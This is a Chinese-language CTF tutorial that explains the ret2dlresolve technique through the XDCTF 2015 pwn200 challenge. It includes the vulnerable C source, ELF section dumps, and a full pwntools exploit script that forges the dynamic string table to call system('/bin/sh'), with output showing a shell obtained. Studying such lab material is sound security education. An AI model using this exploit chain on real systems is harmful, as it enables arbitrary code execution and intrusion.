在学习这个 ROP 利用技巧前,需要首先理解动态链接的基本过程以及 ELF 文件中动态链接相关的结构。动态链接
原理 在 Linux 中,程序使用 _dl_runtime_resolve(link_map_obj, reloc_offset) 来对动态链接的函数进行重定位。那么如果我们可以控制相应的参数及其对应地址的内容是不是就可以控制解析的函数了呢?答案是肯定的。这也是 ret2dlresolve 攻击的核心所在。
具体的,动态链接器在解析符号地址时所使用的重定位表项、动态符号表、动态字符串表都是从目标文件中的动态节 .dynamic 索引得到的。所以如果我们能够修改其中的某些内容使得最后动态链接器解析的符号是我们想要解析的符号,那么攻击就达成了。
思路 1 - 直接控制重定位表项的相关内容 由于动态链接器最后在解析符号的地址时,是依据符号的名字进行解析的。因此,一个很自然的想法是直接修改动态字符串表 .dynstr,比如把某个函数在字符串表中对应的字符串修改为目标函数对应的字符串。但是,动态字符串表和代码映射在一起,是只读的。此外,类似地,我们可以发现动态符号表、重定位表项都是只读的。
但是,假如我们可以控制程序执行流,那我们就可以伪造合适的重定位偏移,从而达到调用目标函数的目的。然而,这种方法比较麻烦,因为我们不仅需要伪造重定位表项,符号信息和字符串信息,而且我们还需要确保动态链接器在解析的过程中不会出错。
思路 2 - 间接控制重定位表项的相关内容 既然动态链接器会从 .dynamic 节中索引到各个目标节,那如果我们可以修改动态节中的内容,那自然就很容易控制待解析符号对应的字符串,从而达到执行目标函数的目的。
思路 3 - 伪造 link_map 由于动态连接器在解析符号地址时,主要依赖于 link_map 来查询相关的地址。因此,如果我们可以成功伪造 link_map,也就可以控制程序执行目标函数。
下面我们以 2015-XDCTF-pwn200 来介绍 32 位和 64 位下如何使用 ret2dlresolve 技巧。
32 位例子 NO RELRO
点击下载: main_no_relro_32
checksec
$ chmod +x main_no_relro_32 $ checksec main_no_relro_32 Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
在这种情况下,修改 .dynamic 会简单些。因为我们只需要修改 .dynamic 节中的字符串表的地址为伪造的字符串表的地址,并且相应的位置为目标字符串基本就行了。具体思路如下
修改 .dynamic 节中字符串表的地址为伪造的地址
在伪造的地址处构造好字符串表,将 read 字符串替换为 system 字符串。
在特定的位置读取 /bin/sh 字符串。
调用 read 函数的 plt 的第二条指令,触发 _dl_runtime_resolve 进行函数解析,从而执行 system 函数。
int __cdecl main (int argc, const char **argv, const char **envp) { size_t n; char buf[112 ]; int *p_argc; p_argc = &argc; strcpy (buf, "Welcome to XDCTF2015~!\n" ); memset (&buf[24 ], 0 , 0x4Cu ); setbuf(stdout , buf); n = strlen (buf); write(1 , buf, n); vuln(); return 0 ; } ssize_t vuln () { char buf[104 ]; setbuf(stdin , buf); return read(0 , buf, 0x100u ); }
典型的缓冲区溢出漏洞:读取 256 字节到仅 104 字节的缓冲区
$ readelf -d ./main_no_relro_32 Dynamic section at offset 0x7c4 contains 24 entries: Tag Type Name/Value 0x00000005 (STRTAB) 0x804824c 0x0000000a (STRSZ) 107 (bytes) $ objdump -s -j .dynamic ./main_no_relro_32 ./main_no_relro_32: file format elf32-i386 Contents of section .dynamic: 8049804 05000000 4c820408 06000000 ac810408 ....L........... $ readelf -S ./main_no_relro_32 There are 30 section headers, starting at offset 0x10b0: Section Headers: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al [25] .bss NOBITS 080498e0 0008e0 000004 00 WA 0 0 1 [26] .comment PROGBITS 00000000 0008e0 000029 01 MS 0 0 1 [27] .symtab SYMTAB 00000000 00090c 000460 10 28 44 4 [28] .strtab STRTAB 00000000 000d6c 00023e 00 0 0 1 [29] .shstrtab STRTAB 00000000 000faa 000105 00 0 0 1 $ objdump -d ./main_no_relro_32 -j .plt ./main_no_relro_32: file format elf32-i386 Disassembly of section .plt: 08048370 <read @plt>: 8048370: ff 25 c8 98 04 08 jmp *0x80498c8 8048376: 68 08 00 00 00 push $0x8 804837b: e9 d0 ff ff ff jmp 8048350 <.plt>
#rop.raw(data) 是向 ROP 链中直接添加原始数据(字节或地址)的方法 #确定需要修改的内存地址: 上述 DT_STRTAB 标签和地址在 .dynamic 节中的起始偏移是 0x8049804(行首地址)。 其中,STRTAB 地址的具体存储位置是该偏移的 +4 字节处(因为前 4 字节是标签): 起始偏移:0x8049804 标签位置:0x8049804(4字节:05000000) 地址位置:0x8049804 + 4 = 0x8049808(4字节:4c820408 → 原始地址 0x804824c) 对应到漏洞利用代码:rop.read(0, 0x08049804+4, 4) #rop.read(0,0x080498E0+0x100,len(b"/bin/sh\x00")) +0x100原因: 程序内存的 “页级连续性”: - 操作系统分配内存时,是以 “页” 为单位(通常 32 位系统中一页为 4096 字节)。 - .bss 段虽然只定义了 4 字节,但它所在的内存页(从 0x080498e0 开始的 4096 字节区域)是完整分配的,且整个页都带有可写权限(因为 .bss 段的 W 标志会使整个页被标记为可写)。 - 因此,0x080498e0 之后的地址(即使超出 .bss 段的定义大小)仍属于同一可写内存页,可以正常读写数据。 #rop.raw(0x08048376) 压入 read 函数的索引(动态链接器会根据该索引去 .dynstr 表查找函数名)。 由于 .dynstr 表已被替换,动态链接器会误认为要解析的是 system 函数,从而将 read@got 地址更新为 system 函数的真实地址。 最终执行时,原本调用 read 的地方会实际执行 system 函数,配合参数 /bin/sh 即可获取 shell。 #assert(len(rop.chain())<=256) 程序的 vuln 函数中,read 函数最多读取 0x100(256 字节) #rop.raw("a"*(256-len(rop.chain()))) 填充 ROP 链到刚好 256 字节。
from pwn import *context.terminal = ["tmux" ,"splitw" ,"-h" ] context.arch="i386" p = process("./main_no_relro_32" ) rop = ROP("./main_no_relro_32" ) elf = ELF("./main_no_relro_32" ) p.recvuntil(b'Welcome to XDCTF2015~!\n' ) offset = 0x6c +4 rop.raw(offset*b'a' ) rop.read(0 ,0x08049804 +4 ,4 ) dynstr = elf.get_section_by_name('.dynstr' ).data() dynstr = dynstr.replace(b"read" ,b"system" ) rop.read(0 ,0x080498E0 ,len ((dynstr))) rop.read(0 ,0x080498E0 +0x100 ,len (b"/bin/sh\x00" )) rop.raw(0x08048376 ) rop.raw(0xdeadbeef ) rop.raw(0x080498E0 +0x100 ) print (rop.dump())assert (len (rop.chain())<=256 ) rop.raw(b"a" *(256 -len (rop.chain()))) p.send(rop.chain()) p.send(p32(0x080498E0 )) p.send(dynstr) p.send(b"/bin/sh\x00" ) p.interactive()
$ python3 exp.py [+] Starting local process './main_no_relro_32' : pid 312 [*] '/CTFshow_pwn/main_no_relro_32' Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No [*] Loaded 10 cached gadgets for './main_no_relro_32' [*] Switching to interactive mode $ ls ctfshow_flag